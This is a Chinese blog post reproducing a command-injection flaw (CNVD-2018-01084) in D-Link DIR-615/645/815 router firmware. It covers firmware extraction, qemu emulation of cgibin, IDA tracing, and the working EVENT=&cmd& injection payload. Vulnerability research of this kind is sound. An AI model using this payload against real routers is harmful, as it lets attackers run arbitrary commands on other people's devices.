我是靠谱客的博主 无限未来,最近开发中收集的这篇文章主要介绍Dlink路由器 CNVD-2018-01084 远程命令执行漏洞 复现分析,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Dlink路由器 CNVD-2018-01084复现分析

0x01 背景介绍

D-Link DIR 615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞。该漏洞是由于service.cgi中拼接了HTTP POST请求中的数据,造成后台命令拼接,导致可执行任意命令

cnvd上的漏洞说明:https://www.cnvd.org.cn/flaw/show/CNVD-2018-01084

0x02 固件分析

  1. 在官网获取漏洞版本的固件:DIR645A1_FW102B08.bin

  2. 解压固件,获得文件系统

    (1)安装sasquatch 在这里插入图片描述
    ​ 需要安装sasquatch

    ​ https://github.com/devttys0/sasquatch

    (2)binwalk
    在这里插入图片描述
    在这里插入图片描述
    ​ 获得完整的文件系统
    CGI中一般通过getenv或stdlib库函数getenv来获得环境变量获取post过来的数据,

getenv

要注入的命令放到request_uri环境变量时候成功

0x03 固件仿真

​ 使用qemu user mode 对固件进行部分仿真,对象是cgibin

chroot . ./qemu-mipsel-static ./htdocs/cgibin

​ 由于chroot . 改变根目录 无法搜索环境变量 qemu-mipsel-static

​ 将其拷贝至当前目录 以./qemu-mipsel-static调用
在这里插入图片描述
​ 发现提示unknown command cgibin

​ 使用IDA分析main函数,发现:

在这里插入图片描述

​ 将第一个参数与XXX.cgi做对比,选择执行XXX_main函数

​ 那么,使用qemu -0方式 指定第一个参数

chroot . ./qemu-mipsel-static -0 "service.cgi" ./htdocs/cgibin

在这里插入图片描述
现在只要确定漏洞的调用链,并构造HTTP POST请求即可。

0x04 漏洞分析

​ 命令注入一般发生在危险函数出现的地方,例如system, execve,execlp

​ 以本漏洞的cgibin文件为例,使用IDA对system溯源分析

在这里插入图片描述

漏洞在lxmldbc_system函数
在这里插入图片描述

溯源可得
在这里插入图片描述

​ 构造 EVENT=&shell_cmd& 则对于

​ lxmldbc_system(“event %s > /dev/null”, v5)

​ 等价为:system(event & shell_cmd & > /dev/null)

​ 可注入shell_cmd

溯源至main函数,构造完整的POST请求

​ CGI中一般通过getenv来获得环境变量获取post过来的数据。在cgibin中未找到stdin,scanf这样的函数或者字符串,因此把要注入的命令当做输入参数传递不能成功,仔细检查每一个genenv,把要注入的命令放到request_uri环境变量时候成功。

在这里插入图片描述
In cgibin_parse_request
在这里插入图片描述
​ 最终脚本:

sudo chroot . ./qemu-mipsel-static  
-0 "service.cgi" 
-E REQUEST_METHOD="POST" 
-E CONTENT_LENGTH=100 
-E REQUEST_URI="service.cgi?EVENT=%26ls%ls" 
-E CONTENT_TYPE="application/x-www-form-urlencoded" 
-E HTTP_COOKIE="uid=ztl" 
./htdocs/cgibin 

在这里插入图片描述
异常错误??
在IDA中搜索:
在这里插入图片描述
可视化调用链:
在这里插入图片描述

0x05 动态调试

sudo chroot . ./qemu-mipsel-static -strace -g 1234	 
-0 "service.cgi" 
-E REQUEST_METHOD="POST" 
-E CONTENT_LENGTH=100 
-E REQUEST_URI="service.cgi?EVENT=%26ls%26" 
-E CONTENT_TYPE="application/x-www-form-urlencoded" 
-E HTTP_COOKIE="uid=ztl" 
./htdocs/cgibin 

发现问题在cgibin_parse_request函数

在这里插入图片描述

动态调试,修改对应寄存器的值,使得可以正常运行至system
在这里插入图片描述

跳过 sess_validate函数(仿真环境没有路由器的证书等配置)
在这里插入图片描述

​ 成功执行ls函数,并打印
在这里插入图片描述

0x06 漏洞利用

构造EVENT=&shell_cmd&

即可注入shell_cmd

​ 以删除某文件为例
在这里插入图片描述
​ 最终效果:
在这里插入图片描述

最后

以上就是无限未来为你收集整理的Dlink路由器 CNVD-2018-01084 远程命令执行漏洞 复现分析的全部内容,希望文章能够帮你解决Dlink路由器 CNVD-2018-01084 远程命令执行漏洞 复现分析所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(39)

评论列表共有 0 条评论

立即
投稿
返回
顶部